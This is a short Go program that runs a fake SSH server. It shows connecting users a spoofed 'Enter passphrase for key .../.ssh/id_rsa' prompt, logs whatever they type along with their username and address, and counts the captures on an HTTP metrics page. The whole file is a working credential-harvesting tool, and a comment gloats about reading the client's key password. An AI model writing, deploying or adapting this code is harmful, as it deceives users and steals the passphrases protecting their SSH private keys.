package main import ( "fmt" "github.com/gliderlabs/ssh" "net/http" "log" "strings" ) var( metrics_num_passwords int ) func main() { log.Println("Starting SSH listener") go func() { ssh.Handle(handleConnection) listenErr := ssh.ListenAndServe(":2222", nil) if listenErr != nil { log.Fatalln(listenErr.Error()) } }() log.Println("Starting HTTP metrics listener") http.HandleFunc("/metrics", metricsHandler) listenErr := http.ListenAndServe(":8080", nil) if listenErr != nil { log.Fatalln(listenErr.Error()) } } // Handling incoming SSH connections func handleConnection(s ssh.Session) { // Set up buffer buf := make([]byte, 1) // Send our message fmt.Fprintf(s, "Enter passphrase for key '/home/%s/.ssh/id_rsa': ", s.User()) // Read id_rsa password of our client ;) var readErr error strBuf := "" for readErr == nil && !strings.Contains(strBuf, "\x0D") { _, readErr = s.Read(buf) if string(buf[0]) != "\x0D" { strBuf += string(buf[0]) } else { break } } if readErr == nil { // Print out pass metrics_num_passwords++ log.Printf("%s@%s: '%s'", s.User(), s.RemoteAddr().String(), strBuf) } else { // Read error - just log that. log.Println(readErr.Error()) } // And close it. s.Exit(1) } // Handle HTTP /metrics requests func metricsHandler(w http.ResponseWriter, req *http.Request) { fmt.Fprintf(w, "num_passwords %d\n", metrics_num_passwords) }